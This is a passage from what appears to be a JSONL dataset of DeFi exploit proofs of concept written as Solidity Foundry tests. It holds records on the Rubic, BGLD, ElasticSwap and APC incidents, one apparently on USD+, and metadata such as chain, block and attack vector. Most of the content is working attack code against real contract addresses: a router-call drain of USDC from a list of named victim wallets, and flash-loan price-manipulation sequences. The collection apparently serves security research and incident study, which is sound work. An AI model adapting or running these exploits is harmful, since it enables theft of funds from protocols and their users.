0xD2C919D3bf4557419CbB519b1Bc272b510BC59D9;\n victims[15] = 0xfE243903c13B53A57376D27CA91360C6E6b3FfAC;\n victims[16] = 0xd5BD9464eB1A73Cca1970655708AE4F560Efc6D1;\n victims[17] = 0xd6389E37f7c2dB6De56b92f430735D08d702111E;\n victims[18] = 0x9f3119BEe3766b2CD25BF3808a8646A7F22ccDDC;\n victims[19] = 0x8a4295b205DD78Bf3948D2D38a08BaAD4D28CB37;\n victims[20] = 0xf4BA068f3F79aCBf148b43ae8F1db31F04E53861;\n victims[21] = 0x48327499E4D71ED983DC7E024DdEd4EBB19BDb28;\n victims[22] = 0x192FcF067D36a8BC9322b96Bb66866c52C43B43F;\n victims[23] = 0x82Bdfc6aBe9d1dfA205f33869e1eADb729590805;\n victims[24] = 0x44a59A1d38718c5cA8cB6E8AA7956859D947344B;\n victims[25] = 0xD0245a08f5f5c54A24907249651bEE39F3fE7014;\n\n RubicProxy1.BaseCrossChainParams memory _params1 = RubicProxy1.BaseCrossChainParams({\n srcInputToken: address(0),\n srcInputAmount: 0,\n dstChainID: 0,\n dstOutputToken: address(0),\n dstMinOutputAmount: 0,\n recipient: address(0),\n integrator: integrators,\n router: address(USDC)\n });\n RubicProxy2.BaseCrossChainParams memory _params2 = RubicProxy2.BaseCrossChainParams({\n srcInputToken: address(0),\n srcInputAmount: 0,\n dstChainID: 0,\n dstOutputToken: address(0),\n dstMinOutputAmount: 0,\n recipient: address(0),\n integrator: integrators,\n router: address(USDC)\n });\n uint256 amount;\n for (uint256 i = 0; i < 8; i++) {\n uint256 victimsBalance = USDC.balanceOf(victims[i]);\n uint256 victimsAllowance = USDC.allowance(address(victims[i]), address(Rubic1));\n amount = victimsBalance;\n if (victimsBalance >= victimsAllowance) {\n amount = victimsAllowance;\n }\n bytes memory data =\n abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", victims[i], address(this), amount);\n Rubic1.routerCallNative(_params1, data);\n }\n for (uint256 i = 8; i < victims.length; i++) {\n uint256 victimsBalance = USDC.balanceOf(victims[i]);\n uint256 victimsAllowance = USDC.allowance(address(victims[i]), address(Rubic2));\n amount = victimsBalance;\n if (victimsBalance >= victimsAllowance) {\n amount = victimsAllowance;\n }\n bytes memory data =\n abi.encodeWithSignature(\"transferFrom(address,address,uint256)\", victims[i], address(this), amount);\n Rubic2.routerCallNative(\"\", _params2, data);\n }\n\n emit log_named_decimal_uint(\n \"[End] Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Rubic", "date": "2022-12", "file_name": "Rubic_exp.sol", "attack_vector": null, "content_hash": "2d185816a38a1f51", "collected_at": "2026-01-07T10:59:16.537911", "_source": "postmortems", "chain": "ethereum", "block_number": 16260580, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.82, "quality_estimate": "low", "title": "Rubic Exploit (2022-12)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1602335214356660225\n// @TX\n// https://bscscan.com/tx/0xea108fe94bfc9a71bb3e4dee4a1b0fd47572e6ad6aba8b2155ac44861be628ae\n\ninterface ERCPorxy {\n function migrate() external;\n}\n\ncontract ContractTest is Test {\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 oldBGLD = IERC20(0xC2319E87280c64e2557a51Cb324713Dd8d1410a3);\n IERC20 newBGLD = IERC20(0x169f715CaE1F94C203366a6890053E817C767B7C);\n IERC20 DEBT = IERC20(0xC632F90affeC7121120275610BF17Df9963F181c);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n ERCPorxy Proxy = ERCPorxy(0xE445654F3797c5Ee36406dBe88FBAA0DfbdDB2Bb);\n address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;\n Uni_Pair_V2 WBNB_oldBGLD = Uni_Pair_V2(0x7526cC9121Ba716CeC288AF155D110587e55Df8b);\n Uni_Pair_V2 oldBGLD_DEBT = Uni_Pair_V2(0x429339fa7A2f2979657B25ed49D64d4b98a2050d);\n Uni_Pair_V2 newBGLD_DEBT = Uni_Pair_V2(0x559D0deAcAD259d970f65bE611f93fCCD1C44261);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 23_844_529);\n }\n\n function testExploit() public {\n oldBGLD.approve(address(Router), type(uint256).max);\n oldBGLD.approve(address(Proxy), type(uint256).max);\n newBGLD.approve(address(Router), type(uint256).max);\n DEBT.approve(address(Router), type(uint256).max);\n DVM(dodo).flashLoan(125 * 1e18, 0, address(this), new bytes(1)); // FlashLoan WBNB\n Proxy.migrate(); // migrate oldBGLD to newBGLD\n newBGLDToDEBT();\n newBGLD_DEBT.swap(0, 950 * 1e9, address(this), new bytes(1)); // FlashLoan DEBT\n Proxy.migrate();\n newBGLDToDEBT();\n DEBTToUSDT();\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n WBNB.transfer(address(WBNB_oldBGLD), WBNB.balanceOf(address(this)));\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(oldBGLD);\n uint256[] memory values = Router.getAmountsOut(125 * 1e18, path);\n WBNB_oldBGLD.swap(0, values[1] * 90 / 100, address(this), \"\");\n oldBGLD.transfer(address(WBNB_oldBGLD), oldBGLD.balanceOf(address(WBNB_oldBGLD)) * 10 + 10);\n WBNB_oldBGLD.skim(address(this));\n WBNB_oldBGLD.sync();\n oldBGLDToWBNB();\n WBNB.transfer(dodo, 125 * 1e18);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n DEBT.transfer(address(oldBGLD_DEBT), DEBT.balanceOf(address(this)));\n (uint256 oldBGLDreserve, uint256 DEBTreserve,) = oldBGLD_DEBT.getReserves();\n uint256 amountIn = DEBT.balanceOf(address(oldBGLD_DEBT)) - DEBTreserve;\n uint256 amountOut = amountIn * 9975 * oldBGLDreserve / (DEBTreserve * 10_000 + amountIn * 9975);\n oldBGLD_DEBT.swap(amountOut * 90 / 100, 0, address(this), \"\");\n oldBGLD.transfer(address(oldBGLD_DEBT), oldBGLD.balanceOf(address(oldBGLD_DEBT)) * 10 + 10);\n oldBGLD_DEBT.skim(address(this));\n oldBGLD_DEBT.sync();\n oldBGLDToDEBT();\n uint256 loanAmount = 950 * 1e9;\n DEBT.transfer(address(newBGLD_DEBT), loanAmount * 10_000 / 9975 + 1000);\n }\n\n function oldBGLDToWBNB() internal {\n address[] memory path = new address[](2);\n path[0] = address(oldBGLD);\n path[1] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(100 * 1e6, 0, path, address(this), block.timestamp);\n }\n\n function newBGLDToDEBT() internal {\n address[] memory path = new address[](2);\n path[0] = address(newBGLD);\n path[1] = address(DEBT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n newBGLD.balanceOf(address(this)) * 90 / 100, 0, path, address(this), block.timestamp\n );\n }\n\n function oldBGLDToDEBT() internal {\n address[] memory path = new address[](2);\n path[0] = address(oldBGLD);\n path[1] = address(DEBT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(100 * 1e6, 0, path, address(this), block.timestamp);\n }\n\n function DEBTToUSDT() internal {\n address[] memory path = new address[](2);\n path[0] = address(DEBT);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n DEBT.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "BGLD", "date": "2022-12", "file_name": "BGLD_exp.sol", "attack_vector": "flash_loan", "content_hash": "2efb67880fced861", "collected_at": "2026-01-07T10:59:16.537964", "_source": "postmortems", "chain": "bsc", "block_number": 23844529, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n oldBGLD.approve(address(Router), type(uint256).max);\n oldBGLD.approve(address(Proxy), type(uint256).max);\n newBGLD.approve(address(Router), type(uint256).max);\n DEBT.approve(address(Router), type(uint256).max);\n DVM(dodo).flashLoan(125 * 1e18, 0, address(this), new bytes(1)); // FlashLoan WBNB\n Proxy.migrate(); // migrate oldBGLD to newBGLD\n newBGLDToDEBT();\n newBGLD_DEBT.swap(0, 950 * 1e9, address(this), new bytes(1)); // FlashLoan DEBT\n Proxy.migrate();\n newBGLDToDEBT();\n DEBTToUSDT();\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5.53, "quality_estimate": "medium", "title": "BGLD Exploit (2022-12)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://quillaudits.medium.com/decoding-elastic-swaps-850k-exploit-quillaudits-9ceb7fcd8d1a\n// @Tx\n// https://etherscan.io/tx/0xb36486f032a450782d5d2fac118ea90a6d3b08cac3409d949c59b43bcd6dbb8f\n\ninterface ELPExchange is IERC20 {\n struct InternalBalances {\n // x*y=k - we track these internally to compare to actual balances of the ERC20's\n // in order to calculate the \"decay\" or the amount of balances that are not\n // participating in the pricing curve and adding additional liquidity to swap.\n uint256 baseTokenReserveQty; // x\n uint256 quoteTokenReserveQty; // y\n uint256 kLast; // as of the last add / rem liquidity event\n }\n\n function internalBalances() external view returns (InternalBalances memory);\n function addLiquidity(\n uint256 _baseTokenQtyDesired,\n uint256 _quoteTokenQtyDesired,\n uint256 _baseTokenQtyMin,\n uint256 _quoteTokenQtyMin,\n address _liquidityTokenRecipient,\n uint256 _expirationTimestamp\n ) external;\n function removeLiquidity(\n uint256 _liquidityTokenQty,\n uint256 _baseTokenQtyMin,\n uint256 _quoteTokenQtyMin,\n address _tokenRecipient,\n uint256 _expirationTimestamp\n ) external;\n function swapQuoteTokenForBaseToken(\n uint256 _quoteTokenQty,\n uint256 _minBaseTokenQty,\n uint256 _expirationTimestamp\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 TIC = IERC20(0x75739a693459f33B1FBcC02099eea3eBCF150cBe);\n IERC20 USDC_E = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);\n Uni_Pair_V2 SPair = Uni_Pair_V2(0x4CF9dC05c715812FeAD782DC98de0168029e05C8);\n Uni_Pair_V2 JPair = Uni_Pair_V2(0xA389f9430876455C36478DeEa9769B7Ca4E3DDB1);\n ELPExchange ELP = ELPExchange(0x4ae1Da57f2d6b2E9a23d07e264Aa2B3bBCaeD19A);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"avalanche\", 23_563_709);\n }\n\n function testExploit() public {\n TIC.approve(address(ELP), type(uint256).max);\n USDC_E.approve(address(ELP), type(uint256).max);\n ELP.approve(address(ELP), type(uint256).max);\n SPair.swap(51_112 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker USDC.E balance after exploit\", USDC_E.balanceOf(address(this)), USDC_E.decimals()\n );\n emit log_named_decimal_uint(\"Attacker TIC balance after exploit\", TIC.balanceOf(address(this)), TIC.decimals());\n }\n\n function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n JPair.swap(766_685 * 1e6, 0, address(this), new bytes(1));\n TIC.transfer(address(SPair), 51_624 * 1e18);\n }\n\n function joeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {\n uint256 TICAmount = TIC.balanceOf(address(ELP));\n uint256 USDC_EAmount = USDC_E.balanceOf(address(ELP));\n uint256 _expirationTimestamp = 1_000_000_000_000;\n ELP.addLiquidity(1e9, 0, 0, 0, address(this), _expirationTimestamp);\n ELP.addLiquidity(TICAmount, USDC_EAmount, 0, 0, address(this), _expirationTimestamp);\n USDC_E.transfer(address(ELP), USDC_E.balanceOf(address(ELP)));\n ELP.removeLiquidity(ELP.balanceOf(address(this)), 1, 1, address(this), _expirationTimestamp);\n // USDC.E swap to TIC\n ELPExchange.InternalBalances memory InternalBalance = ELP.internalBalances();\n uint256 USDC_EReserve = InternalBalance.quoteTokenReserveQty;\n ELP.swapQuoteTokenForBaseToken(USDC_EReserve * 100, 1, _expirationTimestamp);\n TICAmount = TIC.balanceOf(address(this));\n USDC_EAmount = USDC_E.balanceOf(address(this));\n // TIC swap to USDC.e\n ELP.addLiquidity(TICAmount, USDC_EAmount, 0, 0, address(this), _expirationTimestamp);\n ELP.removeLiquidity(ELP.balanceOf(address(this)), 1, 1, address(this), _expirationTimestamp);\n USDC_E.transfer(address(JPair), 774_353 * 1e6);\n }\n}\n", "type": "exploit_poc", "protocol": "ElasticSwap", "date": "2022-12", "file_name": "ElasticSwap_exp.sol", "attack_vector": null, "content_hash": "d58046301c0e9d6b", "collected_at": "2026-01-07T10:59:16.538021", "_source": "postmortems", "chain": "ethereum", "block_number": 23563709, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n TIC.approve(address(ELP), type(uint256).max);\n USDC_E.approve(address(ELP), type(uint256).max);\n ELP.approve(address(ELP), type(uint256).max);\n SPair.swap(51_112 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker USDC.E balance after exploit\", USDC_E.balanceOf(address(this)), USDC_E.decimals()\n );\n emit log_named_decimal_uint(\"Attacker TIC balance after exploit\", TIC.balanceOf(address(this)), TIC.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.11, "quality_estimate": "low", "title": "ElasticSwap Exploit (2022-12)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1598262002010378241\n// @TX\n// https://bscscan.com/tx/0xbcaecea2044101c80f186ce5327bec796cd9e054f0c240ddce93e2aead337370 first attack\n// https://bscscan.com/tx/0xf2d4559aeb945fb8e4304da5320ce6a2a96415aa70286715c9fcaf5dbd9d7ed2 second attack\n\ninterface TransparentUpgradeableProxy {\n function swap(address a1, address a2, uint256 amount) external;\n}\n\ncontract ContractTest is Test {\n IERC20 APC = IERC20(0x2AA504586d6CaB3C59Fa629f74c586d78b93A025);\n IERC20 MUSD = IERC20(0x473C33C55bE10bB53D81fe45173fcc444143a13e);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n TransparentUpgradeableProxy transSwap = TransparentUpgradeableProxy(0x5a88114F02bfFb04a9A13a776f592547B3080237);\n address dodo = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 23_527_906);\n }\n\n function testExploit() public {\n APC.approve(address(Router), type(uint256).max);\n APC.approve(address(transSwap), type(uint256).max);\n USDT.approve(address(Router), type(uint256).max);\n MUSD.approve(address(transSwap), type(uint256).max);\n DVM(dodo).flashLoan(0, 500_000 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) public {\n USDTToAPC(); // Pump APC token price\n transSwap.swap(address(APC), address(MUSD), 100_000 * 1e18); // APC swap to MUSD with incorrect price, get more MUSD\n APCToUSDT(); // Dump APC token price\n transSwap.swap(address(MUSD), address(APC), MUSD.balanceOf(address(this))); // MUSD swap to APC with normal price\n APCToUSDT(); // sell the obtained of APC\n USDT.transfer(dodo, 500_000 * 1e18);\n }\n\n function USDTToAPC() internal {\n address[] memory path = new address[](2);\n path[0] = address(USDT);\n path[1] = address(APC);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n USDT.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function APCToUSDT() internal {\n address[] memory path = new address[](2);\n path[0] = address(APC);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n APC.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "APC", "date": "2022-12", "file_name": "APC_exp.sol", "attack_vector": "flash_loan", "content_hash": "d4f5683479a0d7fb", "collected_at": "2026-01-07T10:59:16.538071", "_source": "postmortems", "chain": "bsc", "block_number": 23527906, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n APC.approve(address(Router), type(uint256).max);\n APC.approve(address(transSwap), type(uint256).max);\n USDT.approve(address(Router), type(uint256).max);\n MUSD.approve(address(transSwap), type(uint256).max);\n DVM(dodo).flashLoan(0, 500_000 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\"[End] Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.44, "quality_estimate": "low", "title": "APC Exploit (2022-12)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/peckshield/status/1598704809690877952\n// @Address\n// https://snowtrace.io/address/0xfe2c4cb637830b3f1cdc626b99f31b1ff4842e2c\n\ninterface JoeRouter {\n function swapAVAXForExactTokens(\n uint256 amountOut,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable returns (uint256[] memory amounts);\n}\n\ninterface USDPlus {\n function buy(address _referredBy, uint256 amount) external returns (uint256);\n function redeem(address to, uint256 amount) external returns (uint256 redeemed);\n}\n\ninterface SwapFlashLoan {\n function calculateTokenAmount(uint256[] calldata amounts, bool deposit) external view returns (uint256);\n\n function addLiquidity(uint256[] calldata amounts, uint256 minToMint, uint256 deadline) external returns (uint256);\n\n function calculateRemoveLiquidity(\n uint256 amount\n ) external returns (uint256[] memory);\n\n function removeLiquidityImbalance(\n uint256[] calldata amounts,\n uint256 maxBurnAmount,\n uint256 deadline\n ) external returns (uint256);\n\n function swap(\n uint8 tokenIndexFrom,\n uint8 tokenIndexTo,\n uint256 dx,\n uint256 minDy,\n uint256 deadline\n ) external returns (uint256);\n}\n\ninterface BenqiFinance {\n function enterMarkets(\n address[] memory qiTokens\n ) external returns (uint256[] memory);\n function getAccountLiquidity(\n address account\n ) external view returns (uint256, uint256, uint256);\n function getHypotheticalAccountLiquidity(\n address account,\n address qiTokenModify,\n uint256 redeemTokens,\n uint256 borrowAmount\n ) external view returns (uint256, uint256, uint256);\n}\n\ninterface BenqiChainlinkOracle {\n function getUnderlyingPrice(\n address qiToken\n ) external view returns (uint256);\n}\n\ninterface QiUSDCn {\n function mint(\n uint256 mintAmount\n ) external returns (uint256);\n function redeemUnderlying(\n uint256 redeemAmount\n ) external returns (uint256);\n}\n\ninterface QiUSDC {\n function borrow(\n uint256 borrowAmount\n ) external returns (uint256);\n function repayBorrow(\n uint256 repayAmount\n ) external returns (uint256);\n function borrowBalanceStored(\n address account\n ) external view returns (uint256);\n}\n\ninterface PlatypusFinance {\n function swap(\n address fromToken,\n address toToken,\n uint256 fromAmount,\n uint256 minimumToAmount,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface NetAsset {\n function netAssetValue() external view returns (uint256);\n}\n\ninterface TotalNetAsset {\n function totalNetAssets() external view returns (uint256);\n}\n\ninterface SicleRouter {\n function swapExactTokensForTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract ContractTest is Test {\n JoeRouter Router = JoeRouter(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);\n SicleRouter sicleRouter = SicleRouter(0xC7f372c62238f6a5b79136A9e5D16A2FD7A3f0F5);\n USDPlus USDplus = USDPlus(0x73cb180bf0521828d8849bc8CF2B920918e23032);\n SwapFlashLoan Swap = SwapFlashLoan(0xED2a7edd7413021d440b09D654f3b87712abAB66);\n IAaveFlashloan LendingPoolV2 = IAaveFlashloan(0x4F01AeD16D97E3aB5ab2B501154DC9bb0F1A5A2C);\n IAaveFlashloan PoolV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);\n BenqiFinance Benqi = BenqiFinance(0x486Af39519B4Dc9a7fCcd318217352830E8AD9b4);\n BenqiChainlinkOracle Oracle = BenqiChainlinkOracle(0x316aE55EC59e0bEb2121C0e41d4BDef8bF66b32B);\n QiUSDCn qiUSDCn = QiUSDCn(0xB715808a78F6041E46d61Cb123C9B4A27056AE9C);\n PlatypusFinance Platypus = PlatypusFinance(0x66357dCaCe80431aee0A7507e2E361B7e2402370);\n QiUSDC qiUSDC = QiUSDC(0xBEb5d47A3f720Ec0a390d04b4d41ED7d9688bC7F);\n NetAsset netAsset = NetAsset(0xc2c84ca763572c6aF596B703Df9232b4313AD4e3);\n TotalNetAsset totalNetAsset = TotalNetAsset(0x9Af655c4DBe940962F776b685d6700F538B90fcf);\n IERC20 USDPLUS = IERC20(0xe80772Eaf6e2E18B651F160Bc9158b2A5caFCA65);\n IERC20 WAVAX = IERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);\n IERC20 nUSD = IERC20(0xCFc37A6AB183dd4aED08C204D1c2773c0b1BDf46);\n IERC20 DAI_e = IERC20(0xd586E7F844cEa2F87f50152665BCbc2C279D8d70);\n IERC20 USDT_e = IERC20(0xc7198437980c041c805A1EDcbA50c1Ce5db95118);\n IERC20 USDC_e = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);\n IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);\n IERC20 nUSDLP = IERC20(0xCA87BF3ec55372D9540437d7a86a7750B42C02f4);\n address avUSDC = 0x46A51127C3ce23fb7AB1DE06226147F446e4a857;\n uint256 PoolV2BorrowAmount;\n uint256 amountBuy;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"avalanche\", 23_097_846);\n }\n\n function testExploit() public payable {\n amountBuy = 36_000_000_000;\n address[] memory path = new address[](2);\n path[0] = address(WAVAX);\n path[1] = address(USDC);\n Router.swapAVAXForExactTokens{value: 2830 ether}(amountBuy, path, address(this), block.timestamp);\n\n uint256 beforeAttackBalance = USDC.balanceOf(address(this));\n emit log_named_uint(\"Before exploit , USDC balance of attacker\", beforeAttackBalance / 1e6);\n\n Hack();\n\n uint256 afterAttackBalance = USDC.balanceOf(address(this));\n emit log_named_uint(\"After exploit , USDC balance of attacker\", afterAttackBalance / 1e6);\n\n uint256 profitAttack = afterAttackBalance - beforeAttackBalance;\n emit log_named_uint(\"Profit: USDC balance of attacker\", profitAttack / 1e6);\n }\n\n function Hack() public {\n for (uint256 i = 0; i < 6; i++) {\n cheats.roll(block.number + 1);\n PoolV2BorrowAmount = USDC_e.balanceOf(avUSDC);\n address[] memory assets = new address[](1);\n assets[0] = address(USDC_e);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = PoolV2BorrowAmount;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n LendingPoolV2.flashLoan(address(this), assets, amounts, modes, address(this), \"\", 0); // FlashLoan USDC.e\n cheats.roll(block.number + 1); // USD+ buy and redeem not allowed in one block\n // redeem USD+ to USDC\n if ((totalNetAsset.totalNetAssets() - netAsset.netAssetValue()) > USDPLUS.balanceOf(address(this))) {\n USDplus.redeem(address(USDC), USDPLUS.balanceOf(address(this)));\n } else {\n USDplus.redeem(address(USDC), totalNetAsset.totalNetAssets() - netAsset.netAssetValue());\n }\n }\n USDPLUS.approve(address(sicleRouter), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(USDPLUS);\n path[1] = address(USDC);\n sicleRouter.swapExactTokensForTokens(USDPLUS.balanceOf(address(this)), 0, path, address(this), block.timestamp);\n }\n\n function executeOperation(\n address[] calldata assets,\n uint256[] calldata amounts,\n uint256[] calldata premiums,\n address initiator,\n bytes calldata params\n ) external payable returns (bool) {\n if (msg.sender == address(LendingPoolV2)) {\n USDC_e.approve(address(LendingPoolV2), type(uint256).max);\n address[] memory assets1 = new address[](1);\n assets1[0] = address(USDC);\n uint256[] memory amounts1 = new uint256[](1);\n amounts1[0] = PoolV2BorrowAmount / 2;\n uint256[] memory modes = new uint256[](1);\n modes[0] = 0;\n PoolV3.flashLoan(address(this), assets1, amounts1, modes, address(this), \"\", 0); // FlashLoan USDC\n\n return true;\n } else {\n USDC.approve(address(PoolV3), type(uint256).max);\n uint256 mintAmount = PoolV2BorrowAmount / 2;\n USDC.approve(address(qiUSDCn), type(uint256).max);\n qiUSDCn.mint(mintAmount); // deposit USDC to qiUSDCn\n\n address[] memory qiTokens = new address[](1);\n qiTokens[0] = address(qiUSDCn);\n Benqi.enterMarkets(qiTokens);\n (, uint256 accountLiquidity,) = Benqi.getAccountLiquidity(address(this));\n uint256 oraclePrice = Oracle.getUnderlyingPrice(address(qiUSDC)) / 1e18;\n uint256 borrowAmount = accountLiquidity / oraclePrice;\n qiUSDC.borrow(borrowAmount); // borrow USDC.e from qiUSDC\n\n // swap USDC.e to nUSD, DAI.e, USDT.e\n USDC_e.approve(address(Swap), type(uint256).max);\n nUSDLP.approve(address(Swap), type(uint256).max);\n uint256[] memory amount = new uint256[](4);\n amount[2] = USDC_e.balanceOf(address(this));\n uint256 minToMint = Swap.calculateTokenAmount(amount, true) * 99 / 100;\n uint256 LPAmount = Swap.addLiquidity(amount, minToMint, block.timestamp);\n uint256 i = 0;\n while (i < 9) {\n uint256[] memory removeAmount = new uint256[](4);\n removeAmount = Swap.calculateRemoveLiquidity(LPAmount);\n removeAmount[2] = 0;\n Swap.removeLiquidityImbalance(removeAmount, LPAmount, block.timestamp);\n LPAmount = nUSDLP.balanceOf(address(this));\n i++;\n }\n uint256[] memory removeAmount1 = new uint256[](4);\n removeAmount1 = Swap.calculateRemoveLiquidity(LPAmount);\n Swap.removeLiquidityImbalance(removeAmount1, LPAmount, block.timestamp);\n uint256 swapAmount = USDC_e.balanceOf(address(this)) / 3;\n nUSD.approve(address(Swap), type(uint256).max);\n DAI_e.approve(address(Swap), type(uint256).max);\n USDT_e.approve(address(Swap), type(uint256).max);\n // swap remaining USDC.e to nUSD, DAI.e, USDT.e\n Swap.swap(2, 0, swapAmount, 0, block.timestamp);\n Swap.swap(2, 1, swapAmount, 0, block.timestamp);\n Swap.swap(2, 3, swapAmount, 0, block.timestamp);\n\n USDC.approve(address(USDplus), 